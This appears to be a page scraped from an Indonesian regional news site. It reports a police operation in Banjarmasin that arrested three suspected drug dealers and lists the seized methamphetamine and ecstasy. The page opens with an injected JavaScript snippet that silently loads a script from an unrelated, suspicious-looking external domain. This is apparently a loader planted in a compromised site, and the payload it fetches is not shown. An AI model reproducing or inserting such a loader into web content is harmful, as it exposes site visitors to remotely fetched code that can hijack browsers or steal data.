(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, Satuan Reserse Narkoba (Satresnarkoba), Polres Banjarbaru diback up Subdit I Ditresnarkoba Polda Kalsel berhasil mengamankan 3 orang pelaku pengedar narkoba di tiga lokasi berbeda.
Pelaku diketahui berinisial D (48), H (37) dan AS (38). Ketiganya berhasil diamankan setelah pihak kepolisian mendapatkan informasi dari tersangka yang sebelumnya diamankan yaitu Muzekki alias Amang.
Kapolres Banjarbaru AKBP Kelana Jaya melalui Kasat Resnarkoba Polres Banjarbaru AKP Elche Angelia Ediwan menjelaskan menurut keterangan Muzekku narkotika miliknya didapatkan dari tersangka D yang tinggal Jalan Pangeran Antasari Gg. 6 (Simpang Penghulu) RT 20 RW 04 Kelurahan Pekapuran Laut Kecamatan Banjarmasin Tengah, Kota Banjarmasin.
“Berdasarkan informasi tersebut, pada hari Selasa (29/1) pukul 15.00 Wita kita melakukan penyelidikan terhadap tersangka D yang tinggal di kota Banjarmasin. Maka kita lakukan penyelidikan yang dibantu Subdit I Ditresnarkoba Polda Kalsel,” ujarnya.
Alhasil, anggota berhasil mengamankan D yang mana saat dilakukan penggeladahan ditemukan barang bukti yang dimaksud. Belum cukup sampai disitu, nyanyian dari pelaku D membuat pihak kepolisian melakukan pengembangan kasus. Hanya selang beberapa jam, tepatnya pukul 17.00 Wita AS diringkus di depan Gang Penghulu RT 20 Kelurahan Pekapuran Laut, Kecamatan Banjarmasin Tengah Kota Banjarmasin.
Pihak Kepolisan yang masih terus melakukan pengembangan, kembali berhasil mengamankan pelaku lainnya yaitu H di Jalan Kelayan A Gang Taruna Kelurahan Kelayan, Kecamatan Banjarmasin Selatan Kota Banjarmasin sekitar pukul 17.30 WITA. “Saat digeledah, barang bukti berupa narkotika kita temukan disembunyikan di dalam kotak bohlam lampu,†lanjut AKP Elche.
Ketiga pelaku yang diringkus di Kota Banjarmasin beserta barang bukti kemudian digiring ke Polres Banjarbaru guna proses lebih lanjut.
Adapun barang bukti yang berhasil diamankan dari para tersangka, 32 lembar plastik klip, yang di dalamnya terdapat narkotika jenis sabu-sabu dengan berat kotor 123 gram dan berat bersih 116 gram , 17 Butir ineks warna, 1 buah kotak bohlam lampu, 1 buah kotak merek AUDAX dan 2 buah timbangan. Selain itu barang bukti lainnya yang disita beruoa 2 bungkus plastik klip, 2 lembar plastik klip serta 3 buah handphone berbagai merek dan warna.(rico)
KANALKALIMANTAN.COM, BANJARMASIN – Dinas Perpustakaan dan Kearsipan (Dispersip) Provinsi Kalimantan Selatan (Kalsel) bersama Lembaga Pemasyarakatan… Read More
KANALKALIMANTAN.COM, JAKARTA - Setelah hampir sebulan mejabat Plt (Pelaksana tugas) Gubernur Kalimantan Selatan (Kalsel), H… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dinas Perhubungan (Dishub) Provinsi Kalimantan Selatan (Kalsel) memasang titik Alat Pemberi Isyarat… Read More
KANALKALIMANTAN.COM, PARINGIN - Antisipasi dan kesiapsiagaan menghadapi bencana banjir, puting beliung dan tanah longsor (Batingsor),… Read More
KANALKALIMANTAN.COM, JAKARTA - Menjelang perayaan hari besar Natal 2024 dan pergantian tahun ke 2025, PT… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob melanda sejumlah wilayah di Kota Banjarmasin, Provinsi Kalimantan Selatan (Kalsel).… Read More
This website uses cookies.